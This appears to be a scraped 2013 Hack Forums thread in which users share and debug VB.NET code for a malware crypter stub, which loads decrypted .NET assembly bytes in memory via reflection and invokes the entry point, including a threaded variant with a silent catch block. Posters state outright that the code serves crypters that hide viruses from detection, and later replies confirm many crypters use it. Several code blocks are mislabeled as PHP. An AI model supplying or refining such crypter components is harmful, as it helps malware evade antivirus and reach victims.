

Forum:[Hack Forums](#)

Thread: [Add .Net Support to your Crypter! \[Stable EXE Reflection\]](#)

Reaper91 - October 13, 2013, 11:36 am

Hey everyone, I'm here trying to contribute to the community and I thought this tut would better help the programming noobs out. Ok, with that being said, please don't troll my thread and let's get started now.

For all the noobs, just to clarify, when you have a crypter, the stub is essentially your virus with the original exe inside it somehow, when the stub is ran, the virus is decrypted and ran (usually in memory). With that being said, you have a runtime crypter. So, in order to make a runtime crypter, you need a RunPE, what this does is it will inject native exe's inside a Windows Process and create a child process. But that only works for native exe's, in order to run a .Net exe, you need my code. In order for this to work though, you need to remember a couple of things. This code will only work with files that don't have EOF Data (but there is a fix) and it will only invoke exe's with the same .Net Framework dependency or lower.

```
Code Dim asm As Assembly = AppDomain.CurrentDomain.Load(bytes) ' Loads decrypted bytes.
Dim met As MethodInfo = asm.EntryPoint ' Finds EntryPoint (Main/Form1_Load).
Dim ObjCls As Object = asm.CreateInstance(met.Name) ' Gets EntryPoint as a function name.
Dim ObjParam As Object() = Nothing ' Variable for setting any extra parameters at Entry.
If (met.GetParameters.Length > 0) Then ' Checks Entry for any extra parameters.
    ObjParam = New Object() {New String() {Nothing}} ' If any are found, they're set in ObjParam.
End If
met.Invoke(ObjCls, ObjParam) ' Run our .Net exe at entry with or without any extra parameters.
```

Only3 - October 13, 2013, 11:49 am

old and not work on all options did u try it

Reaper91 - October 13, 2013, 1:23 pm

(Oct 13, 2013 11:49 AM)Only3 Wrote: [\[CITE\]](#) old and not work on all options did u try itYes, it works fine in my crypter when it's compiled under .Net 3.5!

Sc?rf?c3_ - October 13, 2013, 2:04 pm

Ok...good enough, and good explanation Reaper, but ...needs more cowbell!!!

Cornflower Blue ???-?— - October 13, 2013, 2:23 pm

Just tested this out and get this error

Code Exception has been thrown by the target of an invocation.

gigajew - October 13, 2013, 2:26 pm

First of, don't call people noobs when it's clear to me that you have little-to-no idea what you're talking about. You can't inject managed code into native code. Period. You just invoked a .NET assembly.

On top of that, you don't even know what the code does, because if you did, you'd know that you can invoke the assembly with only one line, and skip all that mess you copy pasted.

Sc?rf?c3_ - October 13, 2013, 2:28 pm

(Oct 13, 2013 02:23 PM)lhendrey4.5 Wrote: [\[CITE\]](#) Just tested this out and get this error

Code Exception has been thrown by the target of an invocation.
not that was necessary to test for me, but works good on my side.

Cornflower Blue ???-? — - October 13, 2013, 2:32 pm

(Oct 13, 2013 02:28 PM)Scarf3_ Wrote: [\[CITE\]](#) not that was necessary to test for me, but works good on my side.

Any idea on how to fix this error? Nothing came up on google.

gigajew - October 13, 2013, 2:33 pm

(Oct 13, 2013 02:32 PM)lhendrey4.5 Wrote: [\[CITE\]](#) Any idea on how to fix this error? Nothing came up on google.

Yeah, don't use his code. It's horrible.

Cornflower Blue ???-? — - October 13, 2013, 2:34 pm

(Jan 16, 1970 04:48 PM)gigajew Wrote: [\[CITE\]](#) Yeah, don't use his code. It's horrible.

You want to give better code then instead of insulting OP?

gigajew - October 13, 2013, 2:35 pm

(Oct 13, 2013 02:34 PM)lhendrey4.5 Wrote: [\[CITE\]](#) You want to give better code then instead of insulting OP?

He insulted himself by posting that code. And sure, I'll PM you with it later on.

Sc?rf?c3_ - October 13, 2013, 2:37 pm

(Oct 13, 2013 02:32 PM)lhendrey4.5 Wrote: [\[CITE\]](#) Any idea on how to fix this error? Nothing came up on google.

I think depends on what you are trying to run from memory, or an issue with the entry point.
Sometimes is better and stable also run from a new thread, try with this snippet:

PHP Code

```
<?php
```

```
Public Sub Execute(ByVal bytes As Byte())
```

```
Dim t As New Thread(AddressOf DoExecute)
```

```
t.TrySetApartmentState(ApartmentState.STA)
```

```
t.Start(bytes)
```

```
End Sub
```

```
Public Sub DoExecute(ByVal d As Byte())
```

```
Try
```

```
If d(&H3C) = &H80 Then
```

```
Dim asm As Assembly = Assembly.Load(d)
```

```
Dim entryPoint As MethodInfo = asm.EntryPoint
```

```
Dim o As Object() = Nothing
```

```
If entryPoint.GetParameters().Length > 0 Then
```

```
o = New Object() {New String() {"1"}}
```

```
End If
```

```
entryPoint.Invoke(Nothing, o)
```

```
Application.Exit()
```

```
End If
```

```
Catch
```

```
End Try
```

```
End Sub
```

(Oct 13, 2013 02:35 PM)gigajew Wrote: [\[CITE\]](#) He insulted himself by posting that code. And sure, I'll PM you with it later on.

Op never said this code inject managed into native, insted he clearly specified that you cant, reason why he posted how to run from memory .net assemblies....dunno on what you are complaining on... ?

Cornflower Blue ???-? — - October 13, 2013, 2:47 pm

(Oct 13, 2013 02:37 PM)Scarf3_ Wrote: [\[CITE\]](#) I think depends on what you are trying to run from memory, or an issue with the entry point. Sometimes is better and stable also run from a new thread, try with this snippet:

PHP Code

```
<?php
```

```
Public Sub Execute(ByVal bytes As Byte())  
    Dim t As New Thread(AddressOf DoExecute)  
    t.TrySetApartmentState(ApartmentState.STA)  
    t.Start(bytes)  
End Sub
```

```
Public Sub DoExecute(ByVal d As Byte())  
Try  
    If d(&H3C) = &H80 Then  
        Dim asm As Assembly = Assembly.Load(d)  
        Dim entryPoint As MethodInfo = asm.EntryPoint  
        Dim o As Object() = Nothing  
        If entryPoint.GetParameters().Length > 0 Then  
            o = New Object() {New String() {"1"}}  
        End If  
        entryPoint.Invoke(Nothing, o)  
        Application.Exit()  
    End If  
Catch  
End Try  
End Sub
```

Op never said this code inject managed into native, insted he clearly specified that you cant, reason why he posted how to run from memory .net assemblies....dunno on what you are complaining on... ?

Same error :/ Must be the EntryPoint?

Thanks for helping tho.

Sc?rf?c3_ - October 13, 2013, 2:49 pm

(Oct 13, 2013 02:47 PM)lhendrey4.5 Wrote: [\[CITE\]](#) Same error :/ Must be the EntryPoint?

Thanks for helping tho.

Yep. Im sure is an entry point issue for sure. But is hard to say without the specific code.

Cornflower Blue ???-? — - October 13, 2013, 2:51 pm

(Oct 13, 2013 02:49 PM)Scarf3_ Wrote: [\[CITE\]](#) Yep. Im sure is an entry point issue for sure. But is hard to say without the specific code.

PHP Code

```
<?php
```

```
namespace Test
```

```
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            MessageBox.Show("test");
        }
    }
}
```

That's the code I am trying to run(Compiled into an Exe)

Sc?rf?c3_ - October 13, 2013, 3:04 pm

(Oct 13, 2013 02:51 PM)lhendrey4.5 Wrote: [\[CITE\]](#) PHP Code

```
<?php
```

```
namespace Test
```

```
{
    public partial class Form1 : Form
```

That's the code I am trying to run(Compiled into an Exe)

hummm...works just fine to me... ?

[img]http://img845.imageshack.us/img845/4827/rmnf.jpg[/img]

EDIT:

Ok, ive reproduced something similar to your issue by changing .net version between the two assemblies, try to have both compiled the same way with same version.

Cornflower Blue ???-? — - October 13, 2013, 3:14 pm

(Oct 13, 2013 03:04 PM)Scarf3_ Wrote: [\[CITE\]](#) hummm...works just fine to me... ?

The file opens fine when I open in explorer.

(Oct 13, 2013 03:04 PM)Scarf3_ Wrote: [\[CITE\]](#) Ok, ive reproduced something similar to your issue by changing .net version between the two assemblies, try to have both compiled the same way with same version.

They are both on .NET 4(Client) still not working.

TheBarret - October 13, 2013, 3:36 pm

(Oct 13, 2013 03:14 PM)lhendrey4.5 Wrote: [\[CITE\]](#)

The file opens fine when I open in explorer.

They are both on .NET 4(Client) still not working.

I think this is a problem that occurs when you have a another form application trying run inside of another application, you need to transfer (set visuals) OR make another app domain.

ive run into similair probs, along the lines i had to enable this:

<http://msdn.microsoft.com/en-us/library/system.windows.forms.application.enablevisualstyles.aspx>

highlighted:

```
Code <System.STAThread(> _  
Public Shared Sub Main()
```

```
System.Windows.Forms.Application.EnableVisualStyles()  
System.Windows.Forms.Application.Run(New Form1)  
End Sub 'Main  
For the entrypoint, so far i know this should be a "Shared" sub.
```

Cornflower Blue ???-? — - October 13, 2013, 3:47 pm

(Oct 13, 2013 03:36 PM)TheBarret Wrote: [\[CITE\]](#) I think this is a problem that occurs when you have a another form application trying run inside of another application, you need to transfer (set visuals) OR make another app domain.

Thanks for the help both of you, fixed it now. Just had to run it on a different thread :D

Sc?rf?c3_ - October 13, 2013, 4:00 pm

Oh that what i already said on first instance...

"...Sometimes is better and stable also run from a new thread..."

Glad you solved! ;)

Cornflower Blue ???-? — - October 13, 2013, 4:51 pm

(Oct 13, 2013 04:00 PM)Scarf3_ Wrote: [\[CITE\]](#) Oh that what i already said on first instance...

"...Sometimes is better and stable also run from a new thread..."

Glad you solved! ;)

Yeah haaha, I thought you meant that's its better to do it in a thread, and I was to lazy to do it. Thanks for the help anyway :D

Reaper91 - October 14, 2013, 1:20 pm

I usually run this code on it's own. When I try to run it on a seperate thread with a try catch statement it won't work. I use the try catch, to first try managed execution then native memory execution. On a seperate thread, it never makes it to native execution.

Only3 - October 14, 2013, 1:30 pm

if u dont use createinstance u will need to use thread to invoke the entrypoint

astonnish - November 12, 2013, 4:19 pm

does any one know a good crypter and that has good support thanks

davinciomar - November 14, 2016, 9:02 am

work still this? I'm very interesting to take support for .net applications

Slavoj Žižek - November 14, 2016, 9:08 am

(Nov 14, 2016 10:02 AM)davinciomar Wrote: [\[CITE\]](#) work still this? I'm very interesting to take support for .net applications

yeah it still works. many crypters use this method

sick 2013 bump though ?

lcoderz - November 21, 2016, 1:45 am

thanks for share ! very good job